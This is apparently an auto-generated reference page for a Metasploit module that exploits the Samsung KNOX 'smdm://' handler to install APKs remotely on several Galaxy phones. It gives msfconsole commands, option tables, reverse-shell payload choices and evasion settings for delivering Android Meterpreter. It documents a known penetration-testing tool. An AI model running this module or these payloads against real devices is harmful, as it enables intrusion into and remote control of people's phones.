Samsung Galaxy KNOX Android Browser RCE - Metasploit


This page contains detailed information about how to use the exploit/android/browser/samsung_knox_smdm_url metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Samsung Galaxy KNOX Android Browser RCE
Module: exploit/android/browser/samsung_knox_smdm_url
Source code: modules/exploits/android/browser/samsung_knox_smdm_url.rb
Disclosure date: 2014-11-12
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): dalvik
Supported platform(s): Android
Target service / protocol: -
Target network port(s): -
List of CVEs: -

A vulnerability exists in the KNOX security component of the Samsung Galaxy firmware that allows a remote webpage to install an APK with arbitrary permissions by abusing the 'smdm://' protocol handler registered by the KNOX component. The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3, and Ace 4.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/android/browser/samsung_knox_smdm_url
msf exploit(samsung_knox_smdm_url) > run

This module is also supported by Browser Autopwn 2.

To load it from Browser Autopwn 2, here's how:

msf > use auxiliary/server/browser_autopwn2 
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN samsung_knox_smdm_url
INCLUDE_PATTERN => samsung_knox_smdm_url
msf auxiliary(browser_autopwn2) > exploit

Go back to menu.

Msfconsole Usage


Here is how the android/browser/samsung_knox_smdm_url exploit module looks in the msfconsole:

msf6 > use exploit/android/browser/samsung_knox_smdm_url

[*] Using configured payload android/meterpreter/reverse_tcp
msf6 exploit(android/browser/samsung_knox_smdm_url) > show info

       Name: Samsung Galaxy KNOX Android Browser RCE
     Module: exploit/android/browser/samsung_knox_smdm_url
   Platform: Android
       Arch: dalvik
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-11-12

Provided by:
  Andre Moulu
  jduck <[email protected]>
  joev <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  APK_VERSION  1337             no        The update version to advertise to the client
  Retries      true             no        Allow the browser to retry the module
  SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT      8080             yes       The local port to listen on.
  SSL          false            no        Negotiate SSL for incoming connections
  SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                       no        The URI to use for this exploit (default is random)

Payload information:

Description:
  A vulnerability exists in the KNOX security component of the Samsung 
  Galaxy firmware that allows a remote webpage to install an APK with 
  arbitrary permissions by abusing the 'smdm://' protocol handler 
  registered by the KNOX component. The vulnerability has been 
  confirmed in the Samsung Galaxy S4, S5, Note 3, and Ace 4.

References:
  http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html
  OSVDB (114590)

Module Options


This is a complete list of options available in the android/browser/samsung_knox_smdm_url exploit:

msf6 exploit(android/browser/samsung_knox_smdm_url) > show options

Module options (exploit/android/browser/samsung_knox_smdm_url):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   APK_VERSION  1337             no        The update version to advertise to the client
   Retries      true             no        Allow the browser to retry the module
   SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT      8080             yes       The local port to listen on.
   SSL          false            no        Negotiate SSL for incoming connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                       no        The URI to use for this exploit (default is random)

Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the android/browser/samsung_knox_smdm_url exploit:

msf6 exploit(android/browser/samsung_knox_smdm_url) > show advanced

Module advanced options (exploit/android/browser/samsung_knox_smdm_url):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   CookieExpiration                         no        Cookie expiration in years (blank=expire on exit)
   CookieName              __ua             no        The name of the tracking cookie
   Custom404                                no        An external custom 404 URL (Example: http://example.com/404.html)
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   JsIdentifiers                            no        Identifiers to preserve for JsObfu
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (android/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AndroidHideAppIcon           false            no        Hide the application icon automatically after launch
   AndroidMeterpreterDebug      false            no        Run the payload in debug mode, with logging enabled
   AndroidWakelock              true             no        Acquire a wakelock before starting the payload
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the android/browser/samsung_knox_smdm_url module can exploit:

msf6 exploit(android/browser/samsung_knox_smdm_url) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the android/browser/samsung_knox_smdm_url exploit:

msf6 exploit(android/browser/samsung_knox_smdm_url) > show payloads

Compatible Payloads
===================

   #   Name                                       Disclosure Date  Rank    Check  Description
   -   ----                                       ---------------  ----    -----  -----------
   0   payload/android/meterpreter/reverse_http                    normal  No     Android Meterpreter, Android Reverse HTTP Stager
   1   payload/android/meterpreter/reverse_https                   normal  No     Android Meterpreter, Android Reverse HTTPS Stager
   2   payload/android/meterpreter/reverse_tcp                     normal  No     Android Meterpreter, Android Reverse TCP Stager
   3   payload/android/meterpreter_reverse_http                    normal  No     Android Meterpreter Shell, Reverse HTTP Inline
   4   payload/android/meterpreter_reverse_https                   normal  No     Android Meterpreter Shell, Reverse HTTPS Inline
   5   payload/android/meterpreter_reverse_tcp                     normal  No     Android Meterpreter Shell, Reverse TCP Inline
   6   payload/android/shell/reverse_http                          normal  No     Command Shell, Android Reverse HTTP Stager
   7   payload/android/shell/reverse_https                         normal  No     Command Shell, Android Reverse HTTPS Stager
   8   payload/android/shell/reverse_tcp                           normal  No     Command Shell, Android Reverse TCP Stager
   9   payload/generic/custom                                      normal  No     Custom Payload
   10  payload/generic/shell_bind_tcp                              normal  No     Generic Command Shell, Bind TCP Inline
   11  payload/generic/shell_reverse_tcp                           normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the android/browser/samsung_knox_smdm_url exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(android/browser/samsung_knox_smdm_url) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Andre Moulu
  • jduck
  • joev

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.